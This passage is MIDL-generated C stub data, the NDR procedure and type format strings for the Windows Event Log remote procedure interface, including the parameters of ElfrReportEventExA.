),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1672 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1674 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter UserSID */\n\n/* 1676 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1678 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1680 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 1682 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1684 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1686 */\tNdrFcShort( 0x23a ),\t/* Type Offset=570 */\n\n\t/* Parameter Data */\n\n/* 1688 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1690 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1692 */\tNdrFcShort( 0x104 ),\t/* Type Offset=260 */\n\n\t/* Parameter Flags */\n\n/* 1694 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1696 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1698 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 1700 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1702 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 1704 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 1706 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1708 */\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 1710 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReportEventExA */\n\n/* 1712 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1714 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1718 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1720 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 1722 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1724 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1726 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1728 */\tNdrFcShort( 0x94 ),\t/* 148 */\n/* 1730 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1732 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xe,\t\t/* 14 */\n/* 1734 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1736 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1738 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1742 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1744 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1746 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1748 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter TimeGenerated */\n\n/* 1750 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 1752 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1754 */\tNdrFcShort( 0x52 ),\t/* Type Offset=82 */\n\n\t/* Parameter EventType */\n\n/* 1756 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1758 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1760 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 1762 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1764 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1766 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 1768 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1770 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1772 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumStrings */\n\n/* 1774 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1776 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1778 */\tNdrFcShort( 0x268 ),\t/* 616 */\n\n\t/* Parameter DataSize */\n\n/* 1780 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1782 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1784 */\tNdrFcShort( 0x272 ),\t/* 626 */\n\n\t/* Parameter ComputerName */\n\n/* 1786 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1788 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1790 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter UserSID */\n\n/* 1792 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1794 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1796 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 1798 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1800 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1802 */\tNdrFcShort( 0x27c ),\t/* Type Offset=636 */\n\n\t/* Parameter Data */\n\n/* 1804 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1806 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1808 */\tNdrFcShort( 0x104 ),\t/* Type Offset=260 */\n\n\t/* Parameter Flags */\n\n/* 1810 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1812 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1814 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 1816 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1818 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 1820 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 1822 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1824 */\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 1826 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Deven_MIDL_TYPE_FORMAT_STRING ms2Deven__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/*  4 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/*  6 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/*  8 */\tNdrFcShort( 0x28 ),\t/* Offset= 40 (48) */\n/* 10 */\t\n\t\t\t0x1c,\t\t/* FC_CVARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 12 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 14 */\t0x17,\t\t/* Corr desc:  field pointer, FC_USHORT */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 16 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 18 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 20 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 22 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 30 */\t0x17,\t\t/* Corr desc:  field pointer, FC_USHORT */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 32 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 34 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 36 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 38 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 42 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 46 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 48 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 50 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 52 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 54 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (62) */\n/* 56 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 58 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 60 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 62 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 64 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (10) */\n/* 66 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 68 */\tNdrFcShort( 0xffec ),\t/* Offset= -20 (48) */\n/* 70 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 72 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (74) */\n/* 74 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 76 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 78 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 80 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 82 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 84 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 86 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 88 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 90 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 92 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 94 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 96 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (98) */\n/* 98 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 100 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 102 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 104 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 108 */\tNdrFcLong( 0x7ffff ),\t/* 524287 */\n/* 112 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 114 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (116) */\n/* 116 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 118 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 120 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 122 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 124 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 126 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 128 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 132 */\tNdrFcLong( 0x7ffff ),\t/* 524287 */\n/* 136 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 138 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 140 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 144 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 148 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 150 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 154 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 158 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 160 */\tNdrFcShort( 0x28 ),\t/* Offset= 40 (200) */\n/* 162 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 164 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 166 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 168 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x0,\t\t/* 0 */\n/* 170 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 172 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 174 */\tNdrFcShort( 0xfff4 ),\t/* Offset= -12 (162) */\n/* 176 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 178 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 180 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 182 */\t0x4,\t\t/* Corr desc: FC_USMALL */\n\t\t\t0x0,\t\t/*  */\n/* 184 */\tNdrFcShort( 0xfff9 ),\t/* -7 */\n/* 186 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 188 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 194 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 198 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 200 */\t\n\t\t\t0x17,\t\t/* FC_CSTRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 202 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 204 */\tNdrFcShort( 0xffe6 ),\t/* Offset= -26 (178) */\n/* 206 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x2,\t\t/* FC_CHAR */\n/* 208 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 210 */\tNdrFcShort( 0xffd6 ),\t/* Offset= -42 (168) */\n/* 212 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 214 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 216 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (218) */\n/* 218 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 220 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 222 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 224 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 226 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 228 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 230 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 234 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 238 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 242 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 244 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 246 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 250 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 254 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 256 */\tNdrFcShort( 0xff30 ),\t/* Offset= -208 (48) */\n/* 258 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 260 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 262 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (264) */\n/* 264 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 266 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 268 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 270 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 272 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 274 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 276 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 280 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 284 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 286 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 288 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 290 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 292 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (316) */\n/* 294 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 296 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 298 */\t0x17,\t\t/* Corr desc:  field pointer, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 300 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 302 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 304 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 306 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 310 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 314 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 316 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 318 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 320 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 322 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (330) */\n/* 324 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 326 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 328 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 330 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 332 */\tNdrFcShort( 0xffda ),\t/* Offset= -38 (294) */\n/* 334 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 336 */\tNdrFcShort( 0xffec ),\t/* Offset= -20 (316) */\n/* 338 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 340 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 342 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 344 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 348 */\tNdrFcLong( 0x7ffff ),\t/* 524287 */\n/* 352 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 354 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 358 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 362 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 364 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 368 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 372 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 374 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (376) */\n/* 376 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 378 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 380 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 382 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 384 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 386 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 388 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 392 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 396 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 400 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 402 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 404 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 408 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 412 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 414 */\tNdrFcShort( 0xff9e ),\t/* Offset= -98 (316) */\n/* 416 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 418 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 420 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (422) */\n/* 422 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 424 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 426 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 428 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 430 */\tNdrFcShort( 0x10 ),\t/* Corr flags:  */\n/* 432 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 434 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 438 */\tNdrFcLong( 0x400 ),\t/* 1024 */\n/* 442 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 444 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 446 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 450 */\tNdrFcLong( 0x400 ),\t/* 1024 */\n/* 454 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 460 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 464 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 466 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 470 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 474 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 476 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (478) */\n/* 478 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 482 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 484 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 486 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 488 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 490 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 494 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 498 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 502 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 504 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 506 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 510 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 514 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 516 */\tNdrFcShort( 0xfe2c ),\t/* Offset= -468 (48) */\n/* 518 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 520 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 522 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (524) */\n/* 524 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 526 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 528 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 530 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 532 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 534 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 536 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 540 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 544 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 546 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 548 */\tNdrFcShort( 0xfe2e ),\t/* Offset= -466 (82) */\n/* 550 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 552 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 556 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 560 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 562 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 566 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 570 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 572 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (574) */\n/* 574 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 578 */\t0x27,\t\t/* Corr desc:  parameter, FC_USHORT */\n\t\t\t0x0,\t\t/*  */\n/* 580 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 582 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 584 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 586 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 590 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 594 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 598 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 600 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 602 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 606 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 610 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 612 */\tNdrFcShort( 0xfdcc ),\t/* Offset= -564 (48) */\n/* 614 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 616 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x6,\t\t/* 6 */\n/* 618 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 622 */\tNdrFcLong( 0x100 ),\t/* 256 */\n/* 626 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 628 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 632 */\tNdrFcLong( 0xf000 ),\t/* 61440 */\n/* 636 */\t\n\t\t\t0x12,\t\t/* FC_UP */\n\t\t\t0x0,\t\t/* 0 */\n/* 638 */\tNdrFcShort( 